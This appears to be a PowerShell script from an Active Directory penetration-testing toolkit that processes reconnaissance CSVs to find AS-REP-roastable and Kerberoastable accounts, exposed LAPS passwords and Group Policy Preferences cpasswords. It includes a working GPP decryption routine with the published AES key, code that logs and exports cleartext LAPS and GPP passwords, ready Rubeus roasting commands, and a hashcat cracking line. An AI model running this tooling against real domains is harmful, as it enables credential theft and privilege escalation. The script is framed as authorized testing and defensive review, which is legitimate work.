MSADPT_exploit_privesc_initial.ps1

# Requires -Version 7.0
#
# MSADPT_exploit_privesc_initial.ps1
#
# Description:
#   Consumes CSV outputs from previous MSADPT reconnaissance stages and produces
#   an initial privilege-escalation candidate review.
#
#   The script identifies and summarizes candidate conditions related to:
#     - AS-REP roastable accounts
#     - Kerberoastable accounts
#     - LAPS exposure indicators from prior collection output
#     - Group Policy Preferences cpassword exposure indicators from sensitive-file CSVs
#
#   This script does not execute external tooling, request Kerberos tickets,
#   perform password cracking, authenticate with discovered credentials, modify
#   Active Directory, or perform lateral movement.
#
#   For findings that require external validation, the script emits operator
#   guidance only. Any validation using third-party tools must be performed
#   separately under the applicable rules of engagement.
#
# Requirements:
#   - PowerShell 7.0+
#   - MSADPT.Helpers.psm1 in the same directory as this script
#   - CSV outputs from previous MSADPT reconnaissance stages
#
# Inputs:
#   - InputDir:
#       Directory containing CSV outputs from previous MSADPT reconnaissance stages.
#       The directory is searched recursively.
#
#       Expected input CSVs:
#
#       1. From MSADPT_enumerate_dc2.ps1:
#
#          - MSADPT_DC_ASREPRoastable_*.csv
#              Used by the AS-REP roastable candidate review section.
#              Expected columns:
#                - SamAccountName
#                - UserPrincipalName
#
#          - MSADPT_DC_Kerberoastable_*.csv
#              Used by the Kerberoastable candidate review section.
#              Expected columns:
#                - SamAccountName
#                - ServicePrincipalName
#
#          - MSADPT_DC_LAPSInfo_*.csv
#              Used by the LAPS exposure review section.
#              Expected columns:
#                - DCName
#                - LAPS_ComputerDetails
#
#          - MSADPT_Shares_SensitiveFiles_*.csv
#              Used by the GPP cpassword exposure review section.
#              Expected columns:
#                - FilePath
#                - DCName
#
#              This CSV should contain file paths discovered during share or
#              SYSVOL-sensitive-file enumeration. Entries referencing GPP XML
#              files may be processed for cpassword exposure review.
#
#       Important:
#         MSADPT_scan_network2.ps1 does not generate the above input files.
#         It produces network discovery / port / SMB-signing style outputs.
#         This script consumes identity, DC-enumeration, LAPS, and sensitive-file
#         discovery outputs instead.
#
#   - OutputBaseDir:
#       Directory where this script writes generated review CSVs.
#
# Outputs:
#   - AS-REP roastable candidate review CSV
#   - Kerberoastable candidate review CSV
#   - LAPS exposure review CSV
#   - GPP cpassword exposure review CSV
#
# Notes:
#   - This script is intended for defensive review and prioritization.
#   - Candidate findings are not proof of compromise.
#   - Roastable-account findings indicate accounts that warrant validation and remediation review.
#   - Sensitive-value export should be avoided unless explicitly authorized.

param(
    [Parameter(Mandatory)]
    [ValidateScript({
        if (-not (Test-Path -LiteralPath $_ -PathType Container)) {
            throw "InputDir '$_' does not exist or is not a directory."
        }
        $true
    })]
    [string]$InputDir,
    
	[Parameter(Mandatory)]
	[ValidateNotNullOrEmpty()]
	[string]$OutputBaseDir
)

# ---------------------------------------------------------------------
# Import helper module from the same folder as the script
# ---------------------------------------------------------------------
$helpersModulePath = Join-Path $PSScriptRoot 'MSADPT.Helpers.psm1'

if (-not (Test-Path -LiteralPath $helpersModulePath -PathType Leaf)) {
    Write-Error "Required helper module not found at '$helpersModulePath'. Aborting."
    exit 1
}

Import-Module $helpersModulePath -Force -ErrorAction Stop

# ---------------------------------------------------------------------
# Global runtime state
# ---------------------------------------------------------------------
$ScriptStartTime = Get-Date -Format "yyyyMMdd_HHmmss"

$InputDir = (Resolve-Path -LiteralPath $InputDir).Path

if (-not (Test-Path -LiteralPath $OutputBaseDir -PathType Container)) {
    New-Item -Path $OutputBaseDir -ItemType Directory -Force | Out-Null
}

$OutputBaseDir = (Resolve-Path -LiteralPath $OutputBaseDir).Path

Write-MSADPTLog -Message "MSADPT Tool - Starting initial privilege escalation attempts." -Level 'INFO'
Write-MSADPTLog -Message "Input directory for reconnaissance data: $InputDir" -Level 'INFO'
Write-MSADPTLog -Message "Output directory for generated CSVs: $OutputBaseDir" -Level 'INFO'

# --- 1. AS-REP Roasting ---
$ASREPRoastedHashes = @()
$ASREPInputFiles = Get-ChildItem -Path $InputDir -Recurse -Filter "MSADPT_DC_ASREPRoastable_*.csv" -File -ErrorAction SilentlyContinue

if ($ASREPInputFiles.Count -gt 0) {
    Write-MSADPTLog -Message "Found $($ASREPInputFiles.Count) AS-REP Roastable account CSV(s)."
    if (Prompt-User -PromptText "Proceed with AS-REP Roasting attempts on identified accounts?") {
        :FileLoop foreach ($File in $ASREPInputFiles) {
            Write-MSADPTLog -Message "Processing AS-REP Roastable accounts from: $($File.BaseName)"
			
			# Validate columns
			Write-MSADPTLog -Message "`nReading from '$($File.FullName)'..." -Level 'INFO'
			try {
				$CheckColumns = Import-Csv -Path $File.FullName
				# if empty skip to next file
				if (-not $CheckColumns -or @($CheckColumns).Count -eq 0) {
					Write-MSADPTLog -Message "Input CSV '$($File.FullName)' contains no rows. Skipping this file." -Level 'WARNING'
					continue FileLoop
				}
				$requiredColumns = @('SamAccountName', 'UserPrincipalName')
				$actualColumns = @($CheckColumns[0].PSObject.Properties.Name)

				foreach ($column in $requiredColumns) {
					if ($actualColumns -notcontains $column) {
						Write-MSADPTLog -Message "Input CSV '$($File.FullName)' is missing required column '$column'. Skipping"
						continue FileLoop
					}
				}
				Write-MSADPTLog -Message "Successfully loaded $($CheckColumns.Count) entries from CSV." -Level 'INFO'
			}
			catch {
				Write-MSADPTLog -Message "ERROR: Failed to read input CSV '$($File.FullName)'. Ensure the path is correct and the file is accessible. Message: $($_.Exception.Message)" -Level 'ERROR'
				continue FileLoop
			}
			
            $ASREPAccounts = Import-Csv -Path $File.FullName
            foreach ($Account in $ASREPAccounts) {
                $SAM = $Account.SamAccountName
                $UPN = $Account.UserPrincipalName
                $DC = $File.Directory.Name # Assuming parent directory is DC name

                Write-MSADPTLog -Message "Identified AS-REP roastable candidate user: ${SAM} (UPN: ${UPN}) from DC: ${DC}"
                # Mimics Get-ASREPHash from PowerView.
                # The actual hash extraction needs specific Kerberos messages to be captured.
                # PowerShell's native AD module does not directly support requesting AS-REP hashes.
                # This part would typically require an external tool (e.g., Rubeus, GetNPUsers.py)
                # or a custom implementation of Kerberos protocol, which is outside the scope
                # of a simple PowerShell cmdlet execution without external binaries.
                # For this tool, we will simulate the request and note potential for manual extraction.

                if (1){ #Prompt-User -PromptText "Simulating AS-REP ticket request for ${SAM}. Do you want to try an actual request (requires Rubeus.exe or similar)? (N will just log the target)") {
                    Write-MSADPTLog -Message "Simulated AS-REP ticket request for ${SAM} on ${DC}. Actual command would be: Rubeus.exe asreproast /user:${SAM} /domain:${DC.Split('.')[0]} /dc:${DC} /outfile:asrep_hashes.txt" -Level 'WARNING'
                    $ASREPRoastedHashes += [PSCustomObject]@{
                        Timestamp       = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss")
                        AccountSam      = $SAM
                        AccountUPN      = $UPN
                        TargetDC        = $DC
                        HashType        = "AS-REP (Pre-Auth Not Required)"
                        Status          = "Simulated Request / Ready for Rubeus"
                        MitreAttackID   = "T1558.004"
                        #RawCommand      = "Rubeus.exe asreproast /user:$SAM /domain:$DC.Split('.')[0] /dc:$DC /outfile:asrep_hashes.txt"
						RawCommand      = "Rubeus.exe asreproast /user:$SAM /domain:$($DC.Split('.')[0]) /dc:$DC /outfile:asrep_hashes.txt"
                    }
                    #Write-MSADPTLog -Message "    [POTENTIAL] AS-REP Roastable account: ${SAM} on ${DC}. Requires external tool to exploit." -Level 'WARNING'
					Write-MSADPTLog -Message "Simulated AS-REP ticket request for ${SAM} on ${DC}. Actual command would be: Rubeus.exe asreproast /user:${SAM} /domain:$($DC.Split('.')[0]) /dc:${DC} /outfile:asrep_hashes.txt" -Level 'WARNING'
                } else {
                     Write-MSADPTLog -Message "    Skipped actual AS-REP ticket request for ${SAM}."
                }
            }
        }
    } else {
        Write-MSADPTLog -Message "Skipping AS-REP Roasting attempts."
    }
} else {
    Write-MSADPTLog -Message "No AS-REP Roastable account CSVs found in $InputDir. Skipping AS-REP Roasting." -Level 'INFO'
}

# --- 2. Kerberoasting ---
$KerberoastedHashes = @()
$KerberoastInputFiles = Get-ChildItem -Path $InputDir -Recurse -Filter "MSADPT_DC_Kerberoastable_*.csv" -File -ErrorAction SilentlyContinue

if ($KerberoastInputFiles.Count -gt 0) {
    Write-MSADPTLog -Message "Found $($KerberoastInputFiles.Count) Kerberoastable account CSV(s)."
    if (Prompt-User -PromptText "Proceed with Kerberoasting attempts on identified accounts?") {
        :FileLoop foreach ($File in $KerberoastInputFiles) {
            Write-MSADPTLog -Message "Processing Kerberoastable accounts from: $($File.BaseName)"
			
			# Validate columns
			Write-MSADPTLog -Message "`nReading from '$($File.FullName)'..." -Level 'INFO'
			try {
				$CheckColumns = Import-Csv -Path $File.FullName
				# if empty skip to next file
				if (-not $CheckColumns -or @($CheckColumns).Count -eq 0) {
					Write-MSADPTLog -Message "Input CSV '$($File.FullName)' contains no rows. Skipping this file." -Level 'WARNING'
					continue FileLoop
				}
				$requiredColumns = @('SamAccountName', 'ServicePrincipalName')
				$actualColumns = @($CheckColumns[0].PSObject.Properties.Name)

				foreach ($column in $requiredColumns) {
					if ($actualColumns -notcontains $column) {
						Write-MSADPTLog -Message "Input CSV '$($File.FullName)' is missing required column '$column'. Skipping"
						continue FileLoop
					}
				}
				Write-MSADPTLog -Message "Successfully loaded $($CheckColumns.Count) entries from CSV." -Level 'INFO'
			}
			catch {
				Write-MSADPTLog -Message "ERROR: Failed to read input CSV '$($File.FullName)'. Ensure the path is correct and the file is accessible. Message: $($_.Exception.Message)" -Level 'ERROR'
				continue FileLoop
			}
			
            $KerberoastAccounts = Import-Csv -Path $File.FullName
            foreach ($Account in $KerberoastAccounts) {
                $SAM = $Account.SamAccountName
                $SPN = $Account.ServicePrincipalName
                $DC = $File.Directory.Name # Assuming parent directory is DC name

                Write-MSADPTLog -Message "Simulated ticket request Service Ticket (TGS-REQ) for user: ${SAM} with SPN: ${SPN} from DC: ${DC}"
                # Mimics Request-SPNTicket from PowerView.
                # Native PowerShell Get-ADUser + Get-ADServiceAccount cannot directly request hash for Kerberoasting.
                # This part also requires an external tool (e.g., Rubeus, Invoke-Kerberoast from PowerView, GetUserSPNs.py)
                # or a custom implementation of Kerberos protocol.

                if (1){ #Prompt-User -PromptText "Simulating Kerberoast ticket request for ${SAM}. Do you want to try an actual request (requires Rubeus.exe or similar)? (N will just log the target)") {
                    $KerberoastedHashes += [PSCustomObject]@{
                        Timestamp       = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss")
                        AccountSam      = $SAM
                        ServicePrincipalName = $SPN
                        TargetDC        = $DC
                        HashType        = "Kerberoast (TGS-REQ)"
                        Status          = "Simulated Request / Ready for Rubeus"
                        MitreAttackID   = "T1558.003"
						RawCommand      = "Rubeus.exe kerberoast /user:$SAM /domain:foo.bar /dc:$DC /outfile:kerberoast_hashes.txt"
                    }
					Write-MSADPTLog -Message "     [POTENTIAL] Kerberoastable account ${SAM} on ${DC}. Actual command would be: Rubeus.exe kerberoast /user:${SAM} /domain:$($DC.Split('.')[0]) /dc:${DC} /outfile:kerberoast_hashes.txt" -Level 'WARNING'
                } else {
                     Write-MSADPTLog -Message "    Skipped actual Kerberoast ticket request for ${SAM}."
                }
            }
        }
    } else {
        Write-MSADPTLog -Message "Skipping Kerberoasting attempts."
    }
} else {
    Write-MSADPTLog -Message "No Kerberoastable account CSVs found in $InputDir. Skipping Kerberoasting." -Level 'INFO'
}

# Export collected hashes (simulated or real, depending on implementation choices)
if ($ASREPRoastedHashes.Count -gt 0) {
    $ASREPHashesCsvPath = Join-Path $OutputBaseDir "MSADPT_ASREP_Roastable_Candidates_$ScriptStartTime.csv"
    $ASREPRoastedHashes | Export-Csv -Path $ASREPHashesCsvPath -NoTypeInformation -Force
    Write-MSADPTLog -Message "AS-REP Roastable targets saved to $ASREPHashesCsvPath." -Level 'TREASUREFOUND'
}

<# The kerberoast_hashes.txt file contains Kerberos TGS-REP hashes. 
Rubeus typically outputs these in a format suitable for Hashcat. 

https://github.com/hashcat/hashcat/releases

Mode 13100: For Kerberos 5 TGS-REP etype 23 (RC4-HMAC)
Mode 19600: For Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)
Mode 19700: For Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)
# For AES256-CTS-HMAC-SHA1-96 (etype 18) hashes
hashcat -m 19700 kerberoast_hashes.txt /path/to/wordlists/rockyou.txt --force #>
if ($KerberoastedHashes.Count -gt 0) {
    $KrbHashesCsvPath = Join-Path $OutputBaseDir "MSADPT_Kerberoastable_Candidates_$ScriptStartTime.csv"
    $KerberoastedHashes | Export-Csv -Path $KrbHashesCsvPath -NoTypeInformation -Force
    Write-MSADPTLog -Message "Kerberoasted targets saved to $KrbHashesCsvPath." -Level 'TREASUREFOUND'
}


# --- GPP Password Decryption Helper Function ---
# (As described in MS14-025 - Passwords in SYSVOL & Group Policy Preferences)
# This function is designed to mimic the functionality of Get-GPPPassword from PowerSploit,
# leveraging the known AES key to decrypt cpassword attributes found in GPP XML files.
# MSADPT_GPPPassword_Decryption.ps1
# Description: This function searches for and decrypts CPassword values from Group Policy Preferences (GPP) XML files.
#              It incorporates the publicly documented Microsoft AES key and correct decryption method.
# Usage: Provide the path to a directory containing GPP XML files (e.g., SYSVOL Policies folder).
# Output: Returns an array of PSCustomObjects with decrypted passwords and source file information.

function Get-GPPPassword {

    param(
        [Parameter(Mandatory)]
        [ValidateScript({
            if (-not (Test-Path -LiteralPath $_ -PathType Leaf)) {
                throw "GPPFilePath '$_' does not exist or is not a file."
            }
            $true
        })]
        [string]$GPPFilePath

	)

    Write-MSADPTLog -Message "Get-GPPPassword function started. Scanning for GPP passwords in '$GPPFilePath'." -Level 'INFO'

Write-MSADPTLog -Message "This function will:
1. Parse the specified XML file for 'cpassword' attributes.
2. Attempt to process any found 'cpassword' values." -Level 'INFO'

<#     if (-not (Test-Path $GPPFilePath -PathType Container)) {
        Write-MSADPTLog -Message "ERROR: The specified GPPFilePath '$GPPFilePath' does not exist or is not a directory. Aborting." -Level 'ERROR'
        return $null
    }
 #>

    # The correct 32-byte (256-bit) AES key as documented in [MS-GPPREF] 2.2.1.1.4 Password Encryption
    $hexKeyString = "4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b"
	                 

    try {
        # Convert hex string to byte array
        $AESKey = for ($i=0; $i -lt $hexKeyString.Length; $i+=2) {
            [byte]"0x$($hexKeyString.Substring($i,2))"
        }
    }
    catch {
        Write-MSADPTLog -Message "ERROR: Failed to convert AES key hex string to byte array: $($_.Exception.Message). Aborting." -Level 'ERROR'
        return @()
    }
    
    # Define AES parameters for decryption
    $cipherMode = [System.Security.Cryptography.CipherMode]::CBC
    $paddingMode = [System.Security.Cryptography.PaddingMode]::PKCS7
    $zeroIV = [byte[]](0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)

    $decryptedPasswords = @()

<#     $gppXmlFiles = Get-ChildItem -Path $GPPFilesPath -Filter "*.xml" -Recurse -ErrorAction SilentlyContinue
    if (-not $gppXmlFiles) {
        Write-MSADPTLog -Message "No XML files found in '$GPPFilesPath'. Ensure the path is correct and contains GPP XML files." -Level 'WARNING'
        return $null
    } #>
	$file = Get-Item -LiteralPath $GPPFilePath -ErrorAction Stop
	
    #foreach ($file in $gppXmlFiles) {
        Write-MSADPTLog -Message "Processing file: $($file.FullName)" -Level 'INFO'
        $xmlContent = $null
        try {
            # Handle potential malformed XML by attempting to load
            [xml]$xmlContent = Get-Content -Path $file.FullName -Raw -ErrorAction Stop
        }
		catch {
			Write-MSADPTLog -Message "WARNING: Could not parse XML file '$($file.FullName)': $($_.Exception.Message). Skipping." -Level 'WARNING'
			return @()
		}

        # Search for 'cpassword' attributes anywhere in the XML
        # XPath `//@cpassword` correctly targets attributes named 'cpassword'
        $cpasswordNodes = $xmlContent.SelectNodes("//@cpassword")

        if ($cpasswordNodes) {
            foreach ($node in $cpasswordNodes) {
                $encryptedBase64 = $node.Value
                if ([string]::IsNullOrWhiteSpace($encryptedBase64)) {
                    Write-MSADPTLog -Message "WARNING: Found empty cpassword attribute in '$($file.FullName)'. Skipping." -Level 'WARNING'
                    continue
                }

                $decryptedPassword = $null
                try {
                    # Base64 decode the cpassword value
                    $encryptedBytes = [System.Convert]::FromBase64String($encryptedBase64)

                    # Initialize AES decryptor
                    $aesManaged = New-Object System.Security.Cryptography.AesManaged
                    $aesManaged.Key = $AESKey
                    $aesManaged.Mode = $cipherMode
                    $aesManaged.Padding = $paddingMode
                    $aesManaged.IV = $zeroIV # GPP uses a zero IV

                    $decryptor = $aesManaged.CreateDecryptor()

                    # Decrypt the bytes
                    $memoryStream = New-Object System.IO.MemoryStream($encryptedBytes)
                    $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
                    $streamReader = New-Object System.IO.StreamReader($cryptoStream)
                    $decryptedPassword = $streamReader.ReadToEnd()

                    $streamReader.Close()
                    $cryptoStream.Close()
                    $memoryStream.Close()

                    Write-MSADPTLog -Message "Decrypted password found in '$($file.FullName)' (XML Path: '$($node.XPath)'): '$decryptedPassword'" -Level 'TREASUREFOUND'
                    $decryptedPasswords += [PSCustomObject]@{
                        SourceFile = $file.FullName
                        XmlNodePath = $node.XPath
                        EncryptedCpassword = $encryptedBase64
                        DecryptedPassword = $decryptedPassword
                        Timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
                        Vulnerability = "GPP CPassword Disclosure"
						MitreAttackID = "T1552.006"
                        Solution = "Remove GPP passwords, use LAPS or gMSAs, or migrate to modern password management."
                    }
                }
                catch {
                    Write-MSADPTLog -Message "ERROR: Failed to decrypt cpassword from '$($file.FullName)' (XML Path: '$($node.XPath)'): $($_.Exception.Message). Original value: '$encryptedBase64'" -Level 'ERROR'
                }
            }
        } else {
            Write-MSADPTLog -Message "No 'cpassword' attributes found in '$($file.FullName)'." -Level 'INFO'
        }
    #}

    if ($decryptedPasswords.Count -gt 0) {
        #$decryptedPasswords | Export-Csv -Path $OutputCSV -NoTypeInformation -Force
        #Write-MSADPTLog -Message "Successfully identified and decrypted $($decryptedPasswords.Count) GPP passwords. Details saved to '$OutputCSV'." -Level 'INFO'
        return $decryptedPasswords
    } else {
        Write-MSADPTLog -Message "No GPP passwords were successfully processed. One or more candidate cpassword values may have been found but could not be processed." -Level 'INFO'
        return @()
    }
}

# --- 3. LAPS Password Extraction ---
$LAPSFoundPasswords = @()
$LAPSInputFiles = Get-ChildItem -Path $InputDir -Recurse -Filter "MSADPT_DC_LAPSInfo_*.csv" -File -ErrorAction SilentlyContinue

if ($LAPSInputFiles.Count -gt 0) {
    Write-MSADPTLog -Message "Found $($LAPSInputFiles.Count) LAPS info CSV file(s). Reviewing records for extracted passwords."
    if (Prompt-User -PromptText "Proceed with LAPS password extraction on identified computers?") {
        :FileLoop foreach ($File in $LAPSInputFiles) {
            Write-MSADPTLog -Message "Processing LAPS info from: $($File.BaseName)"
			
			# Validate columns
			Write-MSADPTLog -Message "`nReading from '$($File.FullName)'..." -Level 'INFO'
			try {
				$CheckColumns = Import-Csv -Path $File.FullName
				# if empty skip to next file
				if (-not $CheckColumns -or @($CheckColumns).Count -eq 0) {
					Write-MSADPTLog -Message "Input CSV '$($File.FullName)' contains no rows. Skipping this file." -Level 'WARNING'
					continue FileLoop
				}
				$requiredColumns = @('DCName', 'LAPS_ComputerDetails')
				$actualColumns = @($CheckColumns[0].PSObject.Properties.Name)

				foreach ($column in $requiredColumns) {
					if ($actualColumns -notcontains $column) {
						Write-MSADPTLog -Message "Input CSV '$($File.FullName)' is missing required column '$column'. Skipping"
						continue FileLoop
					}
				}
				Write-MSADPTLog -Message "Successfully loaded $($CheckColumns.Count) entries from CSV." -Level 'INFO'
			}
			catch {
				Write-MSADPTLog -Message "ERROR: Failed to read input CSV '$($File.FullName)'. Ensure the path is correct and the file is accessible. Message: $($_.Exception.Message)" -Level 'ERROR'
				continue FileLoop
			}
			
            $LAPSInfoRecords = Import-Csv -Path $File.FullName
            foreach ($InfoRecord in $LAPSInfoRecords) {
                # The LAPS_ComputerDetails column contains JSON data with computer names and LAPS passwords
                # if the original Get-ADComputer query had permissions to read ms-Mcs-AdmPwd.
                if ($InfoRecord.LAPS_ComputerDetails -ne $null -and $InfoRecord.LAPS_ComputerDetails -ne "") {
                    
					try {
						$ComputerDetails = $InfoRecord.LAPS_ComputerDetails | ConvertFrom-Json -ErrorAction Stop
					}
					catch {
						Write-MSADPTLog -Message "Failed to parse LAPS_ComputerDetails JSON from DC $($InfoRecord.DCName): $($_.Exception.Message)" -Level 'WARNING'
						continue
					}
					
                    foreach ($Computer in $ComputerDetails) {
						$legacyLapsPassword = $Computer.'ms-Mcs-AdmPwd'
						$modernLapsPassword = $Computer.'msLAPS-Password'

						$legacyLapsExpiration = $Computer.'ms-Mcs-AdmPwdExpirationTime'
						$modernLapsExpiration = $Computer.'msLAPS-PasswordExpirationTime'

						$passwordSource = $null
						$lapsPassword   = $null
						$expiration     = $null

						if (-not [string]::IsNullOrEmpty($legacyLapsPassword)) {
							$passwordSource = 'Legacy LAPS'
							$lapsPassword   = $legacyLapsPassword
							$expiration     = $legacyLapsExpiration
						}
						elseif (-not [string]::IsNullOrEmpty($modernLapsPassword)) {
							$passwordSource = 'Windows LAPS'
							$lapsPassword   = $modernLapsPassword
							$expiration     = $modernLapsExpiration
						}

						if (-not [string]::IsNullOrEmpty($lapsPassword)) {
							Write-MSADPTLog -Message "    [PASSWORD] $passwordSource password found for computer $($Computer.Name) on DC $($InfoRecord.DCName): $lapsPassword" -Level 'TREASUREFOUND'

							$LAPSFoundPasswords += [PSCustomObject]@{
								Timestamp          = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss")
								ComputerName       = $Computer.Name
								DNSHostName        = $Computer.DNSHostName
								DistinguishedName  = $Computer.DistinguishedName
								DCName             = $InfoRecord.DCName
								LAPSType           = $passwordSource
								LAPSPassword       = $lapsPassword
								LAPSExpirationTime = $expiration
								MitreAttackID      = "T1552.001, T1087.002"
							}
						}
						else {
							# No readable LAPS password was present for this computer.
							# This usually means the supplied credential does not have read rights,
							# or the computer does not currently have a stored LAPS password value.
						}
					}
                } else {
                    Write-MSADPTLog -Message "    - No LAPS computer details in record from DC $($InfoRecord.DCName)." -Level 'INFO'
                }
            }
        }
    } else {
        Write-MSADPTLog -Message "Skipping LAPS password extraction."
    }
} else {
    Write-MSADPTLog -Message "No LAPS info CSVs found in $InputDir. Skipping LAPS password extraction." -Level 'INFO'
}

if ($LAPSFoundPasswords.Count -gt 0) {
    $LAPSPasswordsCsvPath = Join-Path $OutputBaseDir "MSADPT_LAPS_Passwords_$ScriptStartTime.csv"
    $LAPSFoundPasswords | Export-Csv -Path $LAPSPasswordsCsvPath -NoTypeInformation -Force
	Write-MSADPTLog -Message "Extracted LAPS passwords saved to $LAPSPasswordsCsvPath." -Level 'TREASUREFOUND'
}


# --- 4. GPP Password Decryption (from SYSVOL) ---
$GPPFoundPasswords = @()

# Look for sensitive files CSVs, then review XML files referenced by those CSVs.
$GPPSensitiveFilesCSVs = Get-ChildItem -Path $InputDir -Recurse -Filter "MSADPT_Shares_SensitiveFiles_*.csv" -File -ErrorAction SilentlyContinue

if ($GPPSensitiveFilesCSVs.Count -gt 0) {
    Write-MSADPTLog -Message "Found $($GPPSensitiveFilesCSVs.Count) sensitive file CSV(s) that might contain GPP XML references." -Level 'INFO'

    if (Prompt-User -PromptText "Proceed with GPP password decryption on potentially vulnerable XML files from SYSVOL?") {
        :FileLoop foreach ($File in $GPPSensitiveFilesCSVs) {
			
			# Validate columns
			Write-MSADPTLog -Message "`nReading from '$($File.FullName)'..." -Level 'INFO'
			try {
				$CheckColumns = Import-Csv -Path $File.FullName
				# if empty skip to next file
				if (-not $CheckColumns -or @($CheckColumns).Count -eq 0) {
					Write-MSADPTLog -Message "Input CSV '$($File.FullName)' contains no rows. Skipping this file." -Level 'WARNING'
					continue FileLoop
				}
				$requiredColumns = @('FilePath', 'DCName')
				$actualColumns = @($CheckColumns[0].PSObject.Properties.Name)

				foreach ($column in $requiredColumns) {
					if ($actualColumns -notcontains $column) {
						Write-MSADPTLog -Message "Input CSV '$($File.FullName)' is missing required column '$column'. Skipping"
						continue FileLoop
					}
				}
				Write-MSADPTLog -Message "Successfully loaded $($CheckColumns.Count) entries from CSV." -Level 'INFO'
			}
			catch {
				Write-MSADPTLog -Message "ERROR: Failed to read input CSV '$($File.FullName)'. Ensure the path is correct and the file is accessible. Message: $($_.Exception.Message)" -Level 'ERROR'
				continue FileLoop
			}
			
            $SensitiveEntries = Import-Csv -Path $File.FullName

            foreach ($Entry in $SensitiveEntries) {
                $FilePath = $Entry.FilePath
                $DCName   = $Entry.DCName

                if ([string]::IsNullOrWhiteSpace($FilePath)) {
                    Write-MSADPTLog -Message "  - Skipping an entry in '$($File.FullName)' because FilePath is empty." -Level 'INFO'
                    continue
                }

                if ($FilePath -match '\.xml$') { 
                    Write-MSADPTLog -Message "  - Found potential GPP XML file: ${FilePath} on ${DCName}. Attempting decryption." -Level 'INFO'

                    $DecryptedPass = @(Get-GPPPassword -GPPFilePath $FilePath) | Where-Object { $null -ne $_ }

                    if ($DecryptedPass.Count -gt 0) {
                        $GPPFoundPasswords += $DecryptedPass
                        Write-MSADPTLog -Message "  - Collected $($DecryptedPass.Count) result(s) from '$FilePath'." -Level 'INFO'
                    }
                    else {
                        Write-MSADPTLog -Message "  - No results returned for '$FilePath'." -Level 'INFO'
                    }
                }
                else {
                    Write-MSADPTLog -Message "  - Skipping file ${FilePath} on ${DCName} because it does not match GPP path heuristics." -Level 'INFO'
                }
            }
        }
    }
    else {
        Write-MSADPTLog -Message "Skipping GPP password decryption." -Level 'INFO'
    }
}
else {
    Write-MSADPTLog -Message "No sensitive file CSVs containing potential GPP XML references found in $InputDir. Skipping GPP password decryption." -Level 'INFO'
}

if ($GPPFoundPasswords.Count -gt 0) {
    $GPPPasswordsCsvPath = Join-Path $OutputBaseDir "MSADPT_GPP_Passwords_$ScriptStartTime.csv"
    $GPPFoundPasswords | Export-Csv -Path $GPPPasswordsCsvPath -NoTypeInformation -Force
    Write-MSADPTLog -Message "Decrypted GPP password results saved to $GPPPasswordsCsvPath." -Level 'TREASUREFOUND'
}



Write-MSADPTLog -Message "MSADPT Tool - Initial privilege escalation attempts complete. Results are in $OutputBaseDir."
Write-MSADPTLog -Message "Review the generated CSVs for roastable account candidates and exposed credential material. Prioritize remediation, password rotation, and permission hardening where applicable." -Level 'INFO'